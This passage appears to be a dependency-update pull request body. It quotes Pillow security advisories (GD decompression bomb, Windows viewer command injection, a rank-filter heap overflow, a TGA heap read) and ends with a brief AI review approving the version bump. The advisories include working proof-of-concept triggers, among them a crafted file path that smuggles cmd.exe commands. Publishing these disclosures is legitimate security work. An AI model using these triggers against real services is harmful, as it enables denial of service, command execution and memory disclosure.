    print(f"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted")

print(f"\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH]   Attack file: 1,037 bytes only")

Expected output:

[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
         No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted

[MATH]   4,294,836,225 pixels = 24.0× error threshold
[MATH]   Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

Path	File size	Effect
Transient (header only)	1,037 bytes	load_prepare() attempts 4.3 GB C allocation → OSError after spike
Persistent (full pixel data)	~4.3 GB	load() completes, 4.3 GB stays in memory for object lifetime

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario:

from PIL import GdImageFile

##### Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check
img.load()                                    # triggers 4.3 GB C-heap allocation

Impact

• Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
• Confidentiality: None
• Integrity: None
• Authentication required: No — any public endpoint accepting image uploads is affected
• User interaction: None

Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm
• https://nvd.nist.gov/vuln/detail/CVE-2026-55380
• https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675
• https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml
• https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst
• https://github.com/advisories/GHSA-phj9-mv4w-65pm

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

CVE-2026-55798 / GHSA-4x4j-2g7c-83w6

More information

Details

1. Summary

WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a
file path into an f-string without escaping. The result is passed to
subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most
importantly a double-quote (") that breaks out of the wrapping, followed by & — allow
injection of arbitrary cmd.exe commands.

The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter.
The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this
protection, despite shlex.quote being already imported on line 21 of ImageShow.py.

---

2. Vulnerable Code

File: src/PIL/ImageShow.py, lines 133–150

class WindowsViewer(Viewer):
    format = "PNG"
    options = {"compress_level": 1, "save_all": True}

    def get_command(self, file: str, **options: Any) -> str:
        return (
            f'start "Pillow" /WAIT "{file}" '    # ← f-string, no escaping
            "&& ping -n 4 127.0.0.1 >NUL "
            f'&& del /f "{file}"'                # ← same path, unescaped again
        )

    def show_file(self, path: str, **options: Any) -> int:
        if not os.path.exists(path):
            raise FileNotFoundError
        subprocess.Popen(
            self.get_command(path, **options),
            shell=True,                          # ← shell=True
            creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
        )  # nosec                               # ← Bandit warning suppressed manually
        return 1

Contrast with macOS — SAFE (line 164–168):

class MacViewer(Viewer):
    def get_command(self, file: str, **options: Any) -> str:
        command = "open -a Preview.app"
        command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
        return command                           # ← shlex.quote() applied

Cross-platform summary:

Platform	Class	shlex.quote()?	shell=True?	Safe?
macOS	MacViewer	Yes (line 168)	No (list args)	✅ Yes
Linux	UnixViewer	Yes (line 207)	No (list args)	✅ Yes
Windows	WindowsViewer	No (line 134–137)	Yes (line 148)	❌ No

shlex.quote is imported on line 21. Its omission from the Windows path is a clear
oversight, not a deliberate design choice.

---

3. Proof of Concept

A full working PoC is at poc_pillow_injection.py. Key parts:

Part A — Injection string construction (static, no execution):

from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)

##### Output:
##### start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...

##### ┌─ start "Pillow" /WAIT "C:\Temp\evil"   → fails (file not found)
##### ├─ & echo PWNED                           → INJECTED COMMAND

##### └─ & echo ""  && ping ...                → continues

Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):

import os, tempfile
from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker  = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")

##### Craft injection: payload writes a marker file (harmless)
payload   = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')

##### Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)

##### Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)

assert os.path.exists(marker)                          # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read()          # PASSES

##### → CONFIRMED: arbitrary command injection via get_command()

---

Severity

• CVSS Score: 4.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

References

• https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6
• https://nvd.nist.gov/vuln/detail/CVE-2026-55798
• https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a
• https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4
• https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f
• https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml
• https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst
• https://github.com/advisories/GHSA-4x4j-2g7c-83w6

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Pillow: Heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand

CVE-2026-59197 / GHSA-xj96-63gp-2gmr

More information

Details

Summary

Pillow's public rank-filter API can trigger a native heap out-of-bounds write
when given a very large odd filter size.

Minimal public API trigger:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2)
before rank-filter size validation. With size = 4294967295, the
expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes
the output dimensions with unchecked signed int arithmetic. On tested builds,
this wraps to a tiny output image and the border-expansion loop writes past the
allocation.

This is reachable through documented public classes (RankFilter,
MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom
Python object is needed.

Details

Current src/PIL/ImageFilter.py:

class RankFilter(Filter):
    def filter(self, image):
        if image.mode == "P":
            msg = "cannot filter palette images"
            raise ValueError(msg)
        image = image.expand(self.size // 2, self.size // 2)
        return image.rankfilter(self.size, self.rank)

The expand() call is made before image.rankfilter(...).

Current src/libImaging/Filter.c:ImagingExpand() does not check output-size
overflow:

if (xmargin < 0 && ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

imOut = ImagingNewDirty(
    imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);

For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size
wraps to 1x1 on tested builds. The following loop still uses the huge margin:

for (x = 0; x < xmargin; x++) {
    imOut->image[yout][x] = imIn->image[yin][0];
}

src/libImaging/RankFilter.c does contain checks that would reject this size:

if (!(size & 1)) {
    return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
    return (Imaging)ImagingError_ValueError("filter size too large");
}

But those checks are reached only after RankFilter.filter() has already
called image.expand(...).

Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB
stores. The repeated value written OOB is copied from the source image border
pixel, so attacker-supplied image bytes can influence it. This is a sequential
overwrite, not an arbitrary-address write.

PoC

Minimal ASAN crash PoC:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation

4-byte write variant with source pixel loaded from normal image bytes:

from io import BytesIO
from PIL import Image, ImageFilter

SIZE = 4294967295
PIXEL = 0x41424344

src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))

Observed ASAN signature:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation

Version checks:

Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
                           validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected

Impact

It is a heap out-of-bounds write in Pillow's native C extension, reachable
through public image-filter classes.

Applications are impacted if an untrusted user can control the rank-filter
size/configuration passed to Pillow. If the image is also attacker-supplied, the
source pixel value written out of bounds can be attacker-influenced, including
4-byte values for mode "I" images.

Possible fix

Validate the rank-filter size before calling image.expand(...), and harden
ImagingExpand() against invalid margins and overflow:

if (xmargin < 0 || ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
    ymargin > (INT_MAX - imIn->ysize) / 2) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

References

• https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr
• https://nvd.nist.gov/vuln/detail/CVE-2026-59197
• https://github.com/python-pillow/Pillow/pull/9695
• https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1
• https://github.com/python-pillow/Pillow/releases/tag/12.3.0
• https://github.com/advisories/GHSA-xj96-63gp-2gmr

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images

CVE-2026-59198 / GHSA-fj7v-r99m-22gq

More information

Details

Summary

Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1"
image. Adjacent process heap bytes can be copied into the generated TGA file.

The bug is reachable through the public save API:

im.save(out, format="TGA", compression="tga_rle")

Older affected Pillow versions use the equivalent public option rle=True.

For mode "1", Pillow allocates a packed row buffer of ceil(width / 8)
bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.

The maximum valid TGA width is 65535. At that width:

allocated packed row buffer: 8192 bytes
encoder byte-offset walk:     65535 bytes
maximum OOB window per row:   57343 bytes

On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized
57297 bytes from distinct out-of-bounds source offsets into one returned TGA,
covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most 128 bytes each, not one large
memcpy().

Details

src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the
tga_rle encoder when RLE compression is requested.

src/encode.c:_setimage() allocates the row buffer using the packed-bit
formula:

state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);

For mode "1", state->bits == 1.

src/libImaging/TgaRleEncode.c then computes:

bytesPerPixel = (state->bits + 7) / 8;

This becomes 1, and the encoder uses pixel indexes as byte offsets:

static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
    buf += x * bytesPerPixel;
    return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}

The packet payload memcpy() later copies those out-of-bounds source bytes into
the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy
one representative byte:

memcpy(
    dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);

A width-2 mode "1" image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.

PoC

Minimal ASAN trigger

import io
from PIL import Image

out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage

Maximum-width heap disclosure

This PoC uses one maximum-width row. It parses the generated TGA packets and
extracts only payload bytes whose source offsets were outside the allocated
packed row. Rows are avoided because they mostly repeat the same adjacent heap wind

✂ Note

PR body was truncated to here.

[claude]

LGTM — straightforward security dependency bump.

What was reviewed: The only change is bumping pillow from 12.2.0 to 12.3.0 in template/requirements.txt, which patches CVE-2026-59203 (EPS parser infinite-loop DoS). No other files or code paths are touched.

Extended reasoning...

Overview

The PR changes a single line in template/requirements.txt, bumping the pinned pillow version from 12.2.0 to 12.3.0. This is a Renovate-generated dependency update flagged as a security fix.

Security risks

This is a version bump that fixes a security issue (CVE-2026-59203, a DoS via infinite loop when parsing malformed EPS files with a negative %%BeginBinary byte count) rather than introducing one. No new attack surface is added; the change strictly narrows existing risk.

Level of scrutiny

Minimal scrutiny is warranted. This is a pinned-version bump in a requirements file for a sandbox template, not a change to application logic, auth, or data handling. It follows the same pattern as prior merged Renovate PRs in this repo's history (pillow, e2b, ipython bumps).

Other factors

No prior reviews or comments exist on this PR to reconcile. The change is minimal (one line), mechanical, and self-contained, consistent with the repo's established pattern of approving routine dependency updates.